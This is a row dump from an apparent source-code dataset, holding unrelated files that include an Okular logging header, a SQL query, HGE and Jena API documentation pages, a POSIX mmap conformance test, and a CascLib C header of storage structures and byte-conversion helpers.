code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
/***************************************************************************
* Copyright (C) 2014 by Frederik Gladhorn <[email protected]> *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
***************************************************************************/
#ifndef OKULAR_COMICBOOK_DEBUG_P_H
#define OKULAR_COMICBOOK_DEBUG_P_H
#include <QtCore/qloggingcategory.h>
Q_DECLARE_LOGGING_CATEGORY(OkularComicbookDebug)
#endif
|
locke87/Okular
|
generators/comicbook/debug_comicbook.h
|
C
|
gpl-2.0
| 784 |
select '1992-01-01' + interval rand() * 365 day into @date_var;
select concat('Calpont: random date: ',@date_var);
select l_shipdate, l_returnflag Returnflag, l_linestatus Status,
avg(l_extendedprice) avgprice, count(*),
min(l_extendedprice) minprice, max(l_extendedprice) maxprice
from lineitem
where l_shipdate = @date_var
group by 1,2,3;
|
infinidb/infinidb
|
utils/scenarios/perf/sql/200/week_scenario_jt_2.1.sql
|
SQL
|
gpl-2.0
| 360 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- http://hge.relishgames.com -->
<html>
<head>
<meta name="Keywords" content="game engine, 2d, hardware accelerated, hge, engine, relish games, game development">
<meta name="Description" content="Haaf's Game Engine - Hardware accelerated 2D games engine">
<title>Haaf's Game Engine - Hardware accelerated 2D games engine</title>
<link rel=stylesheet type=text/css href=hge.css>
<script language="JavaScript" src="hge.js"></script>
</head>
<body onload="setContents('cnt_hgefunc.html');" bgcolor=#ffffff text=#000000 link=#7F0000 vlink=#7F0000 alink=#7F0000 marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>
<table height=100% cellspacing=0 cellpadding=0 border=0><tr>
<td valign=top>
<table width=566 cellspacing=0 cellpadding=20 border=0><tr><td>
<h1 style="margin-top:0px">HGE::Ini_SetInt</h1>
<p>
Writes an integer value to initialization file.
</p>
<pre>
void Ini_SetInt(
const char *<i><b>section</b></i>,
const char *<i><b>name</b></i>,
int <i><b>value</b></i>
);
</pre>
<h2>Parameters</h2>
<dl>
<dt><i>section</i>
<dd>Initialization file section name.
<dt><i>name</i>
<dd>Key name.
<dt><i>value</i>
<dd>Value to be written.
</dl>
<h2>Remarks</h2>
<p>
<a href="hgeconst_systemstate.html#HGE_INIFILE">HGE_INIFILE</a> system state must be set before
calling this function.
<br><br>
If the initialization file, section or key don't exist they are created.
The name of the section is case-independent.
</p>
<h2>Requirements</h2>
<p>
<b>Header:</b> hge.h<br>
<b>Import library:</b> hge.lib
</p>
<h2>See also</h2>
<p>
<a href="hgefunc_inigetint.html">Ini_GetInt</a>,
<a href="hgefunc_inisetfloat.html">Ini_SetFloat</a>,
<a href="hgefunc_inigetfloat.html">Ini_GetFloat</a>,
<a href="hgefunc_inisetstring.html">Ini_SetString</a>,
<a href="hgefunc_inigetstring.html">Ini_GetString</a>
</p>
<br>
</td></tr></table>
</td>
</tr></table>
</body>
</html>
|
VulpesCorsac/Tutorials
|
HGE181/doc/html/hgefunc_inisetint.html
|
HTML
|
gpl-2.0
| 1,930 |
Songbook Compilation Chain
# Description
This package provides a compilation toolchain that produce LaTeX
songbook using the LaTeX songs package. A new LaTeX document class is
provided to allow specific customisation and new command like embedded
guitar tabs or lilypond sheets.
This package is distribued along with a songbook written and designed
by Crep (R. Goffe). This part of the package is provided with respect
to the CC-BY-SA licence.
Other document are subject to the GNU GPLv2 except if another licence
is precised in the header.
# Documentation
http://www.patacrep.com/data/documents/doc_en.pdf
# Contact & Forums
* http://www.patacrep.com
* [email protected]
|
h3ndrik/songbook
|
readme.md
|
Markdown
|
gpl-2.0
| 684 |
<?php
/**
* JCH Optimize - Joomla! plugin to aggregate and minify external resources for
* optmized downloads
*
* @author Samuel Marshall <[email protected]>
* @copyright Copyright (c) 2014 Samuel Marshall
* @license GNU/GPLv3, See LICENSE file
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* If LICENSE file missing, see <http://www.gnu.org/licenses/>.
*/
defined('_JCH_EXEC') or die('Restricted access');
interface JchInterfacePlugin
{
public static function getPluginId();
public static function getPlugin();
public static function saveSettings($params);
public static function getPluginParams();
}
|
networksoft/seekerplus.com
|
plugins/system/jch_optimize/jchoptimize/interfaces/plugin.php
|
PHP
|
gpl-2.0
| 1,169 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_45) on Thu Oct 02 16:39:54 BST 2014 -->
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<title>Uses of Class com.hp.hpl.jena.sparql.modify.request.UpdateDrop (Apache Jena ARQ)</title>
<meta name="date" content="2014-10-02">
<link rel="stylesheet" type="text/css" href="../../../../../../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class com.hp.hpl.jena.sparql.modify.request.UpdateDrop (Apache Jena ARQ)";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../index.html?com/hp/hpl/jena/sparql/modify/request/class-use/UpdateDrop.html" target="_top">Frames</a></li>
<li><a href="UpdateDrop.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Class com.hp.hpl.jena.sparql.modify.request.UpdateDrop" class="title">Uses of Class<br>com.hp.hpl.jena.sparql.modify.request.UpdateDrop</h2>
</div>
<div class="classUseContainer">
<ul class="blockList">
<li class="blockList">
<table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation">
<caption><span>Packages that use <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Package</th>
<th class="colLast" scope="col">Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><a href="#com.hp.hpl.jena.sparql.modify">com.hp.hpl.jena.sparql.modify</a></td>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><a href="#com.hp.hpl.jena.sparql.modify.request">com.hp.hpl.jena.sparql.modify.request</a></td>
<td class="colLast"> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList">
<ul class="blockList">
<li class="blockList"><a name="com.hp.hpl.jena.sparql.modify">
<!-- -->
</a>
<h3>Uses of <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a> in <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/package-summary.html">com.hp.hpl.jena.sparql.modify</a></h3>
<table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation">
<caption><span>Methods in <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/package-summary.html">com.hp.hpl.jena.sparql.modify</a> with parameters of type <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><span class="strong">UpdateEngineWorker.</span><code><strong><a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/UpdateEngineWorker.html#visit(com.hp.hpl.jena.sparql.modify.request.UpdateDrop)">visit</a></strong>(<a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a> update)</code> </td>
</tr>
</tbody>
</table>
</li>
<li class="blockList"><a name="com.hp.hpl.jena.sparql.modify.request">
<!-- -->
</a>
<h3>Uses of <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a> in <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/package-summary.html">com.hp.hpl.jena.sparql.modify.request</a></h3>
<table border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation">
<caption><span>Methods in <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/package-summary.html">com.hp.hpl.jena.sparql.modify.request</a> with parameters of type <a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a></span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Method and Description</th>
</tr>
<tbody>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><span class="strong">UpdateWriterVisitor.</span><code><strong><a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateWriterVisitor.html#visit(com.hp.hpl.jena.sparql.modify.request.UpdateDrop)">visit</a></strong>(<a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a> update)</code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><span class="strong">UpdateVisitor.</span><code><strong><a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateVisitor.html#visit(com.hp.hpl.jena.sparql.modify.request.UpdateDrop)">visit</a></strong>(<a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">UpdateDrop</a> update)</code> </td>
</tr>
</tbody>
</table>
</li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../com/hp/hpl/jena/sparql/modify/request/UpdateDrop.html" title="class in com.hp.hpl.jena.sparql.modify.request">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../index.html?com/hp/hpl/jena/sparql/modify/request/class-use/UpdateDrop.html" target="_top">Frames</a></li>
<li><a href="UpdateDrop.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Licenced under the Apache License, Version 2.0</small></p>
</body>
</html>
|
knil-sama/YADDW
|
lib/apache-jena-2.12.1/javadoc-arq/com/hp/hpl/jena/sparql/modify/request/class-use/UpdateDrop.html
|
HTML
|
gpl-2.0
| 9,063 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.4"/>
<title>CORE POS - IS4C: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/search.js"></script>
<script type="text/javascript">
$(document).ready(function() {
if ($('.searchresults').length > 0) { searchBox.DOMSearchField().focus(); }
});
</script>
<link rel="search" href="search-opensearch.php?v=opensearch.xml" type="application/opensearchdescription+xml" title="CORE POS - IS4C"/>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">CORE POS - IS4C
</div>
<div id="projectbrief">The CORE POS front end</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.4 -->
<script type="text/javascript">
var searchBox = new SearchBox("searchBox", "search",false,'Search');
</script>
<div id="navrow1" class="tabs">
<ul class="tablist">
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
<li><a href="examples.html"><span>Examples</span></a></li>
<li>
<div id="MSearchBox" class="MSearchBoxInactive">
<div class="left">
<form id="FSearchBox" action="search.php" method="get">
<img id="MSearchSelect" src="search/mag.png" alt=""/>
<input type="text" id="MSearchField" name="query" value="Search" size="20" accesskey="S"
onfocus="searchBox.OnSearchFieldFocus(true)"
onblur="searchBox.OnSearchFieldFocus(false)"/>
</form>
</div><div class="right"></div>
</div>
</li>
</ul>
</div>
<div id="navrow2" class="tabs2">
<ul class="tablist">
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="classes.html"><span>Class Index</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div><!-- top -->
<div class="header">
<div class="headertitle">
<div class="title">AnnualMeetingParser Member List</div> </div>
</div><!--header-->
<div class="contents">
<p>This is the complete list of members for <a class="el" href="class_annual_meeting_parser.html">AnnualMeetingParser</a>, including all inherited members.</p>
<table class="directory">
<tr bgcolor="#f0f0f0" class="even"><td class="entry"><b>check</b>($str) (defined in <a class="el" href="class_annual_meeting_parser.html">AnnualMeetingParser</a>)</td><td class="entry"><a class="el" href="class_annual_meeting_parser.html">AnnualMeetingParser</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_parser.html#a0076d421db25e8eb844d0ecc093688ad">default_json</a>()</td><td class="entry"><a class="el" href="class_parser.html">Parser</a></td><td class="entry"></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_parser.html#afc25b0cdd11426e7c303accdf8aebc81">doc</a>()</td><td class="entry"><a class="el" href="class_parser.html">Parser</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_parser.html#ad38221f246477d09fc5f03fa63d2bb77">get_parse_chain</a>()</td><td class="entry"><a class="el" href="class_parser.html">Parser</a></td><td class="entry"><span class="mlabel">static</span></td></tr>
<tr class="even"><td class="entry"><a class="el" href="class_parser.html#a62ec410423ebd9c878c3c8e349f7ee00">isFirst</a>()</td><td class="entry"><a class="el" href="class_parser.html">Parser</a></td><td class="entry"></td></tr>
<tr><td class="entry"><a class="el" href="class_parser.html#a384df99c1182b74ef7c921bcca051295">isLast</a>()</td><td class="entry"><a class="el" href="class_parser.html">Parser</a></td><td class="entry"></td></tr>
<tr bgcolor="#f0f0f0" class="even"><td class="entry"><b>parse</b>($str) (defined in <a class="el" href="class_annual_meeting_parser.html">AnnualMeetingParser</a>)</td><td class="entry"><a class="el" href="class_annual_meeting_parser.html">AnnualMeetingParser</a></td><td class="entry"></td></tr>
</table></div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated on Thu Apr 2 2015 12:27:44 for CORE POS - IS4C by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.4
</small></address>
</body>
</html>
|
GeorgeStreetCoop/CORE-POS
|
documentation/doxy/output/is4c-nf/html/class_annual_meeting_parser-members.html
|
HTML
|
gpl-2.0
| 5,382 |
/*
* Copyright (c) 2002, Intel Corporation. All rights reserved.
* Copyright (c) 2012, Cyril Hrubis <[email protected]>
*
* This file is licensed under the GPL license. For the full content
* of this license, see the COPYING file at the top level of this
* source tree.
*
* MPR References within the address range starting at pa and
* continuing for len bytes to whole pages following the end
* of an object shall result in delivery of a SIGBUS signal.
*
* Test Steps:
* 1. Map a shared memory object of size 1/2 * page_size,
* with len = 2 * page_size
* 2. If Memory Protection option is supported, read the second page
* beyond the end of the object, should get SIGBUS.
*/
#define _XOPEN_SOURCE 600
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "posixtest.h"
#define WRITE(str) write(STDOUT_FILENO, str, sizeof(str) - 1)
void sigbus_handler(int signum)
{
if (signum == SIGBUS) {
WRITE("SIGBUS triggered\n");
WRITE("Test PASSED\n");
_exit(PTS_PASS);
}
}
int main(void)
{
#ifndef _POSIX_MEMORY_PROTECTION
printf("_POSIX_MEMORY_PROTECTION is not defined\n");
return PTS_UNTESTED;
#endif
char tmpfname[256];
long page_size;
long total_size;
void *pa;
size_t len;
int fd;
char *ch;
struct sigaction sa;
page_size = sysconf(_SC_PAGE_SIZE);
/* Size of the shared memory object to be mapped */
total_size = page_size / 2;
/* mmap will create a partial page */
len = page_size * 2;
sigfillset(&sa.sa_mask);
sa.sa_handler = sigbus_handler;
sigaction(SIGBUS, &sa, NULL);
snprintf(tmpfname, sizeof(tmpfname), "/pts_mmap_11_3_%ld", (long)getpid());
/* Create shared object */
shm_unlink(tmpfname);
fd = shm_open(tmpfname, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR);
if (fd == -1) {
printf("Error at shm_open(): %s\n", strerror(errno));
return PTS_UNRESOLVED;
}
shm_unlink(tmpfname);
if (ftruncate(fd, total_size) == -1) {
printf("Error at ftruncate(): %s\n", strerror(errno));
return PTS_UNRESOLVED;
}
pa = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (pa == MAP_FAILED) {
printf("Error at mmap(): %s\n", strerror(errno));
return PTS_FAIL;
}
ch = pa + page_size + 1;
/* This reference should trigger SIGBUS */
*ch = 0;
/* wait for a while */
sleep(1);
printf("Test FAILED: SIGBUS not triggered, "
"while Memory Protection is enabled\n");
return PTS_FAIL;
}
|
haiku/open_posix_testsuite
|
conformance/interfaces/mmap/11-3.c
|
C
|
gpl-2.0
| 2,561 |
/*****************************************************************************/
/* CascCommon.h Copyright (c) Ladislav Zezula 2014 */
/*---------------------------------------------------------------------------*/
/* Common functions for CascLib */
/*---------------------------------------------------------------------------*/
/* Date Ver Who Comment */
/* -------- ---- --- ------- */
/* 29.04.14 1.00 Lad The first version of CascCommon.h */
/*****************************************************************************/
#ifndef __COMMON_H__
#define __COMMON_H__
//-----------------------------------------------------------------------------
// Common macros
// Macro for building 64-bit file offset from two 32-bit
#define MAKE_OFFSET64(hi, lo) (((ULONGLONG)hi << 32) | (ULONGLONG)lo)
#ifndef ALIGN_TO_SIZE
#define ALIGN_TO_SIZE(x, a) (((x) + (a)-1) & ~((a)-1))
#endif
// Prevent problems with CRT "min" and "max" functions,
// as they are not defined on all platforms
#define CASCLIB_MIN(a, b) ((a < b) ? a : b)
#define CASCLIB_MAX(a, b) ((a > b) ? a : b)
#define CASCLIB_UNUSED(p) ((void)(p))
//-----------------------------------------------------------------------------
// Common structures
// Structure for static content key (CKey) and encoded key (EKey)
// The CKey is a MD5 hash of the file data.
// The EKey is (shortened) MD5 hash of the file header, which contains MD5 hashes of all the logical blocks of the file.
typedef struct _CONTENT_KEY
{
BYTE Value[MD5_HASH_SIZE]; // MD5 of the file
} CONTENT_KEY, *PCONTENT_KEY, ENCODED_KEY, *PENCODED_KEY;
//-----------------------------------------------------------------------------
// EKey entry, captured from index files of all types. This structure
// is somewhat less memory consuming than CASC_CKEY_ENTRY
typedef struct _CASC_EKEY_ENTRY
{
BYTE EKey[MD5_HASH_SIZE]; // Encoded key. Length depends on TCascStorage::EKeyLength
ULONGLONG StorageOffset; // Offset of the encoded file in archive.
// Lower (TCascStorage::FileOffsetBits) bits are archive offset.
// Upper bits are archive index
DWORD EncodedSize; // Encoded size
DWORD Alignment; // Alignment to 8-byte boundary. Reserved for future use
} CASC_EKEY_ENTRY, *PCASC_EKEY_ENTRY;
//-----------------------------------------------------------------------------
// Basic structure used by all CascLib objects to describe a single entry
// in the CASC storage. Each entry represents one physical file
// in the storage. Note that the file may be present under several file names.
// Flags for CASC_CKEY_ENTRY::Flags
#define CASC_CE_FILE_IS_LOCAL 0x00000001 // The file is available locally. Keep this flag to have value of 1
#define CASC_CE_HAS_CKEY 0x00000002 // The CKey is present in the entry
#define CASC_CE_HAS_EKEY 0x00000004 // The EKey is present, at least partial one
#define CASC_CE_HAS_EKEY_PARTIAL 0x00000008 // The EKey is only partial, padded by zeros. Always used with CASC_CE_HAS_EKEY
#define CASC_CE_IN_ENCODING 0x00000010 // Present in the ENCODING manifest
#define CASC_CE_IN_DOWNLOAD 0x00000020 // Present in the DOWNLOAD manifest
#define CASC_CE_IN_BUILD 0x00000040 // Present in the BUILD (text) manifest
#define CASC_CE_IN_ARCHIVE 0x00000080 // File is stored in an archive (for online storages)
#define CASC_CE_FOLDER_ENTRY 0x00000100 // This CKey entry is a folder
#define CASC_CE_FILE_SPAN 0x00000200 // This CKey entry is a follow-up file span
#define CASC_CE_FILE_PATCH 0x00000400 // The file is in PATCH subfolder in remote storage
#define CASC_CE_PLAIN_DATA 0x00000800 // The file data is not BLTE encoded, but in plain format
// In-memory representation of a single entry.
struct CASC_CKEY_ENTRY
{
CASC_CKEY_ENTRY()
{
Init();
}
void Init(void)
{
memset(this, 0, sizeof(CASC_CKEY_ENTRY));
StorageOffset = CASC_INVALID_OFFS64;
EncodedSize = CASC_INVALID_SIZE;
ContentSize = CASC_INVALID_SIZE;
SpanCount = 1;
}
bool IsFile()
{
// Must not be a folder entry
if((Flags & CASC_CE_FOLDER_ENTRY) == 0)
{
// There can be entries that are both file span or the standalone file
// * zone/zm_red.xpak - { zone/zm_red.xpak_1, zone/zm_red.xpak_2, ..., zone/zm_red.xpak_6 }
if(RefCount != 0)
return true;
// To include the file, it must either be present in ENCODING, DOWNLOAD or in BUILD file
if(((Flags & CASC_CE_FILE_SPAN) == 0) && (Flags & (CASC_CE_IN_ENCODING | CASC_CE_IN_DOWNLOAD | CASC_CE_IN_BUILD)))
return true;
}
return false;
}
BYTE CKey[MD5_HASH_SIZE]; // Content key of the full length
BYTE EKey[MD5_HASH_SIZE]; // Encoded key of the full length
ULONGLONG StorageOffset; // Linear offset over the entire storage. 0 if not present
ULONGLONG TagBitMask; // Bitmap for the tags. 0 ig tags are not supported
DWORD ContentSize; // Content size of the file
DWORD EncodedSize; // Encoded size of the file
DWORD Flags; // See CASC_CE_XXX
USHORT RefCount; // This is the number of file names referencing this entry
BYTE SpanCount; // Number of spans for the file
BYTE Priority; // Download priority
};
typedef CASC_CKEY_ENTRY *PCASC_CKEY_ENTRY;
//-----------------------------------------------------------------------------
// Conversion tables
extern unsigned char AsciiToLowerTable_Slash[256];
extern unsigned char AsciiToUpperTable_BkSlash[256];
extern unsigned char AsciiToHexTable[0x80];
extern unsigned char IntToHexChar[];
//-----------------------------------------------------------------------------
// Memory management
//
// We use our own macros for allocating/freeing memory. If you want
// to redefine them, please keep the following rules:
//
// - The memory allocation must return NULL if not enough memory
// (i.e not to throw exception)
// - The allocating function does not need to fill the allocated buffer with zeros
// - The reallocating function must support NULL as the previous block
// - Memory freeing function must check for NULL pointer and do nothing if so
//
#define CASC_REALLOC(type, ptr, count) (type *)realloc(ptr, (count) * sizeof(type))
template <typename T>
T * CASC_ALLOC(size_t nCount)
{
return (T *)malloc(nCount * sizeof(T));
}
template <typename T>
T * CASC_ALLOC_ZERO(size_t nCount)
{
T * ptr = CASC_ALLOC<T>(nCount);
if(ptr != NULL)
memset(ptr, 0, sizeof(T) * nCount);
return ptr;
}
template <typename T>
void CASC_FREE(T *& ptr)
{
if (ptr != NULL)
free(ptr);
ptr = NULL;
}
//-----------------------------------------------------------------------------
// 32-bit ROL
inline DWORD Rol32(DWORD dwValue, DWORD dwRolCount)
{
return (dwValue << dwRolCount) | (dwValue >> (32 - dwRolCount));
}
//-----------------------------------------------------------------------------
// Big endian number manipulation
inline DWORD ConvertBytesToInteger_2(LPBYTE ValueAsBytes)
{
USHORT Value = 0;
Value = (Value << 0x08) | ValueAsBytes[0];
Value = (Value << 0x08) | ValueAsBytes[1];
return Value;
}
inline DWORD ConvertBytesToInteger_3(LPBYTE ValueAsBytes)
{
DWORD Value = 0;
Value = (Value << 0x08) | ValueAsBytes[0];
Value = (Value << 0x08) | ValueAsBytes[1];
Value = (Value << 0x08) | ValueAsBytes[2];
return Value;
}
inline DWORD ConvertBytesToInteger_4(LPBYTE ValueAsBytes)
{
DWORD Value = 0;
Value = (Value << 0x08) | ValueAsBytes[0];
Value = (Value << 0x08) | ValueAsBytes[1];
Value = (Value << 0x08) | ValueAsBytes[2];
Value = (Value << 0x08) | ValueAsBytes[3];
return Value;
}
// Converts the variable-size big-endian into integer
inline DWORD ConvertBytesToInteger_X(LPBYTE ValueAsBytes, DWORD dwByteSize)
{
DWORD Value = 0;
if(dwByteSize > 0)
Value = (Value << 0x08) | ValueAsBytes[0];
if(dwByteSize > 1)
Value = (Value << 0x08) | ValueAsBytes[1];
if(dwByteSize > 2)
Value = (Value << 0x08) | ValueAsBytes[2];
if(dwByteSize > 3)
Value = (Value << 0x08) | ValueAsBytes[3];
return Value;
}
inline DWORD ConvertBytesToInteger_4_LE(LPBYTE ValueAsBytes)
{
DWORD Value = 0;
Value = (Value << 0x08) | ValueAsBytes[3];
Value = (Value << 0x08) | ValueAsBytes[2];
Value = (Value << 0x08) | ValueAsBytes[1];
Value = (Value << 0x08) | ValueAsBytes[0];
return Value;
}
// Read the 40-bit big-endian offset into ULONGLONG
inline ULONGLONG ConvertBytesToInteger_5(LPBYTE ValueAsBytes)
{
ULONGLONG Value = 0;
Value = (Value << 0x08) | ValueAsBytes[0];
Value = (Value << 0x08) | ValueAsBytes[1];
Value = (Value << 0x08) | ValueAsBytes[2];
Value = (Value << 0x08) | ValueAsBytes[3];
Value = (Value << 0x08) | ValueAsBytes[4];
return Value;
}
inline void ConvertIntegerToBytes_4(DWORD Value, LPBYTE ValueAsBytes)
{
ValueAsBytes[0] = (BYTE)((Value >> 0x18) & 0xFF);
ValueAsBytes[1] = (BYTE)((Value >> 0x10) & 0xFF);
ValueAsBytes[2] = (BYTE)((Value >> 0x08) & 0xFF);
ValueAsBytes[3] = (BYTE)((Value >> 0x00) & 0xFF);
}
inline void ConvertIntegerToBytes_4_LE(DWORD Value, LPBYTE ValueAsBytes)
{
ValueAsBytes[0] = (BYTE)((Value >> 0x00) & 0xFF);
ValueAsBytes[1] = (BYTE)((Value >> 0x08) & 0xFF);
ValueAsBytes[2] = (BYTE)((Value >> 0x10) & 0xFF);
ValueAsBytes[3] = (BYTE)((Value >> 0x18) & 0xFF);
}
// Faster than memset(Buffer, 0, 0x10)
inline void ZeroMemory16(void * Buffer)
{
PDWORD PtrBuffer = (PDWORD)Buffer;
PtrBuffer[0] = 0;
PtrBuffer[1] = 0;
PtrBuffer[2] = 0;
PtrBuffer[3] = 0;
}
